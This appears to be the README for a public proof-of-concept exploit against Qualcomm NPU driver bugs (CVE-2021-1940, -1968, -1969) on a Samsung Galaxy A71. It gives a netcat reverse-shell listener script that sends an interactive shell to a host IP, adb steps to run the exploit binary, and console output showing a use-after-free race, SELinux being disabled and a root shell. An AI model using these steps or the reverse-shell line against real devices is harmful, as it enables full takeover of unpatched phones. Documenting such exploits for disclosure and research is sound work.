Exploit for Qualcomm NPU bugs (CVE-2021-1940, CVE-2021-1968, CVE-2021-1969) The write up can be found CVE-2021-1969/GHSL-2021-1031. These bugs can be used to gain arbitrary kernel code execution, read and write from the untrusted app domain. Kernel code are executed in the context of the root user and the exploit also disable SELinux. The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXU3BUB5, Baseband A715FXXU3BUB4 and Kernel version 4.14.190-20973144. The offsets in the exploit refers to that version of the firmware. When running on other devices, the FAST_CPU macro may also need to change so that the code is executed on the fastest cpu on the device. The exploit should be compiled with either -O2 or -O3 level of optimization to ensure the cpu runs fast enough to win the race. For reference, I used the following command to compile with clang in ndk-21: The exploit will gain arbitrary kernel address read, write and kernel code execution. It'll then use these primitives to disable SELinux and pop a reverse root shell. To prepare for the reverse root shell, on the host machine, run a script that listens to port 4446: #!/bin/bash while [ 1 ]; do echo -e "/system/bin/tail -n 0 -f /data/local/tmp/1 | /system/bin/sh -i 2>&1 | /system/bin/nc <HOST_IP> 4445 1> /data/local/tmp/1" | nc -l -p 4446; done With <HOST_IP> replaced by the IP address of the host machine. The HOST_IP macro in npu_shell.c also needs to be replaced. The reason for this extra step is because nc on Android does not support the -e flag. (See "Popping a (reverse) shell" in reference quoted in the article) Then listens to port 4445 on the host machine: $ nc -nlvp 4445 Listening on 0.0.0.0 4445 To test, cross compile the file npu_shell.c and then execute with adb: adb push npu_shell /data/local/tmp adb shell a71:/ $ /data/local/tmp/npu_shell The exploit is fairly reliable on the device tested. If successful, it will use the kernel code execution primitive to switch off SELinux and create a reverse root shell: a71:/ $ /data/local/tmp/npu_sploit [+] host_irq_wq offset: ffffff800919d170 a71:/ $ [+] network_stats_buf (controlled data) address: 0xffffffc06eb7c000 [+] reallocation data initialized! [ ] initializing reallocation threads, please wait... [+] 4 reallocation threads ready! [+] trigger uaf [+] reallocation data initialized! [ ] initializing reallocation threads, please wait... [+] 8 reallocation threads ready! [-] failed to overwrite selinux_enforcing [+] network_stats_buf (controlled data) address: 0xffffffc0b3c50000 [+] reallocation data initialized! [ ] initializing reallocation threads, please wait... [+] 4 reallocation threads ready! [+] trigger uaf [+] reallocation data initialized! [ ] initializing reallocation threads, please wait... [+] 8 reallocation threads ready! [+] successfully overwritten selinux_enforcing After that, SELinux will be disabled. To get a reverse root shell, follow these steps (For some reason, I need to do some manual steps to get the shell) It is important to first restart the nc server that is listening to port 4445 before doing anything on the target. (The restarting of the nc server can probably be automated) Go to the terminal that listens to port 4445 and it should have received a packet: $nc -nlvp 4445 Listening on 0.0.0.0 4445 Connection received on 12.34.56.78 37532 Kill nc with Ctrl C and then start it again ^C $ nc -nlvp 4445 Listening on 0.0.0.0 4445 Go back to the Android target, press enter to unfreeze, the nc terminal should now have a root shell: Listening on 0.0.0.0 4445 Connection received on 12.34.56.78 37566 /system/bin/sh: can't find tty fd: No such device or address /system/bin/sh: warning: won't have full job control :/ # id uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0 :/ # getenforce Permissive :/ #